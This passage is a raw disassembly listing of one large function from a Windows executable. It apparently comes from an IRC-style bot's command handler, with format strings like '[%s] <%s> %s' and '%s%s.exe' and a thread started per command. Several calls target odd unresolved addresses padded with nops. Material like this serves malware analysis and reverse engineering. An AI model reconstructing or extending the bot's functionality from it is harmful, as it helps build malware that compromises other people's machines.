		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFE4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A4FC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42A388
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A35C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A31C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A2A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A278
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_42A240
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42A1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A1A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2670000h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2670914h
		push	eax
		push	offset dword_42A16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A140
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42A108
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 2690BC3h
		nop
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A0AC
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A070
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 267009Ch
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_42A034

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650BA1h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A010
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FF4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FBC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 2670914h
		nop
		push	eax
		push	offset dword_429F80
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F38

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2670000h
		nop

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429F14
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429EFC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429EC8

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E94
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
